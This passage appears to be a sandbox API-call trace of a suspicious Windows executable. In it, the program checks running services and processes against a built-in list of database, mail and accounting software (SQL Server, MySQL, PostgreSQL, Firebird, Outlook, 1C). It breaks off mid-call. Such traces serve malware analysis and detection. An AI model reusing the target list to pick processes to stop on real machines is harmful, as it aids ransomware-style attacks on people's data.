lpString2="eventlog") returned 1 [0127.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0127.279] lstrlenW (lpString="EventSystem") returned 11 [0127.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0127.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0127.279] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0127.279] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0127.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0127.279] lstrlenW (lpString="gpsvc") returned 5 [0127.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0127.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0127.279] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0127.279] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0127.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0127.279] lstrlenW (lpString="lmhosts") returned 7 [0127.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0127.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0127.279] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0127.279] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0127.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0127.279] lstrlenW (lpString="MMCSS") returned 5 [0127.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0127.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0127.279] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0127.280] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0127.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0127.280] lstrlenW (lpString="nsi") returned 3 [0127.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0127.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0127.280] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0127.280] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0127.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0127.280] lstrlenW (lpString="PlugPlay") returned 8 [0127.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0127.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0127.280] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0127.280] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0127.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0127.280] lstrlenW (lpString="Power") returned 5 [0127.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0127.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0127.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0127.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0127.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0127.280] lstrlenW (lpString="ProfSvc") returned 7 [0127.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0127.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0127.280] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0127.280] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0127.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0127.280] lstrlenW (lpString="RpcEptMapper") returned 12 [0127.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0127.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0127.280] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0127.280] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0127.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0127.280] lstrlenW (lpString="RpcSs") returned 5 [0127.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0127.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0127.280] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0127.280] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0127.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0127.281] lstrlenW (lpString="SamSs") returned 5 [0127.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0127.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0127.281] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0127.281] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0127.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0127.281] lstrlenW (lpString="Schedule") returned 8 [0127.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0127.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0127.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0127.281] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0127.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0127.281] lstrlenW (lpString="SENS") returned 4 [0127.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0127.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0127.281] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0127.281] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0127.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0127.281] lstrlenW (lpString="ShellHWDetection") returned 16 [0127.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0127.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0127.281] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0127.281] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0127.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0127.281] lstrlenW (lpString="Spooler") returned 7 [0127.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0127.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0127.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0127.281] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0127.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0127.281] lstrlenW (lpString="Themes") returned 6 [0127.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0127.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0127.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0127.281] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0127.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0127.282] lstrlenW (lpString="UxSms") returned 5 [0127.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0127.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0127.282] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0127.282] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0127.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0127.282] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3aadf38 | out: hHeap=0x880000) returned 1 [0127.282] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x254 [0127.284] Process32FirstW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.284] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0127.284] lstrlenW (lpString="System") returned 6 [0127.284] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0127.284] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0127.284] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0127.284] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0127.284] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0127.284] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0127.284] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0127.284] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0127.285] lstrlenW (lpString="smss.exe") returned 8 [0127.285] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0127.285] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0127.285] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0127.285] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0127.285] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0127.285] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0127.285] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0127.285] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.285] lstrlenW (lpString="csrss.exe") returned 9 [0127.285] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0127.285] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0127.285] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0127.285] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0127.285] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0127.285] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0127.285] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0127.285] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0127.286] lstrlenW (lpString="wininit.exe") returned 11 [0127.286] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0127.286] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0127.286] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0127.286] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0127.286] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0127.286] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0127.286] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0127.286] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.286] lstrlenW (lpString="csrss.exe") returned 9 [0127.286] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0127.287] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0127.287] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0127.287] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0127.287] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0127.287] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0127.287] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0127.287] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0127.287] lstrlenW (lpString="winlogon.exe") returned 12 [0127.287] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0127.287] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0127.287] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0127.287] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0127.287] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0127.287] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0127.287] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0127.287] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0127.287] lstrlenW (lpString="services.exe") returned 12 [0127.287] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0127.288] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0127.288] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0127.288] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0127.288] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0127.288] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0127.288] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0127.288] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0127.288] lstrlenW (lpString="lsass.exe") returned 9 [0127.288] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0127.288] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0127.288] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0127.288] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0127.288] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0127.288] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0127.288] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0127.288] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0127.288] lstrlenW (lpString="lsm.exe") returned 7 [0127.288] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0127.289] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0127.289] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0127.289] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0127.289] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0127.289] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0127.289] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0127.289] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.289] lstrlenW (lpString="svchost.exe") returned 11 [0127.289] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0127.289] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0127.289] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0127.289] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0127.289] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0127.289] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0127.289] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0127.289] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.289] lstrlenW (lpString="svchost.exe") returned 11 [0127.289] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0127.290] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0127.290] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0127.290] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0127.290] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0127.290] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0127.290] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0127.290] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.290] lstrlenW (lpString="svchost.exe") returned 11 [0127.290] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0127.290] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0127.290] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0127.290] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0127.290] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0127.290] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0127.290] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0127.290] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.290] lstrlenW (lpString="svchost.exe") returned 11 [0127.291] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0127.291] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0127.291] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0127.291] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0127.291] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0127.291] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0127.291] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0127.291] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.291] lstrlenW (lpString="svchost.exe") returned 11 [0127.291] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0127.291] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0127.291] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0127.291] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0127.291] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0127.291] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0127.291] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0127.291] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0127.291] lstrlenW (lpString="audiodg.exe") returned 11 [0127.291] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0127.292] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0127.292] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0127.292] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0127.292] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0127.292] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0127.292] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0127.292] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.292] lstrlenW (lpString="svchost.exe") returned 11 [0127.292] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0127.292] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0127.292] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0127.292] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0127.292] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0127.292] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0127.292] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0127.292] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0127.292] lstrlenW (lpString="userinit.exe") returned 12 [0127.293] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0127.293] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0127.293] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0127.293] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0127.293] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0127.293] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0127.293] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0127.293] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0127.293] lstrlenW (lpString="explorer.exe") returned 12 [0127.293] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0127.293] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0127.293] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0127.293] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0127.293] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0127.293] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0127.294] lstrlenW (lpString="dwm.exe") returned 7 [0127.294] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.294] lstrlenW (lpString="svchost.exe") returned 11 [0127.294] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0127.294] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0127.294] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0127.295] lstrlenW (lpString="spoolsv.exe") returned 11 [0127.295] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: 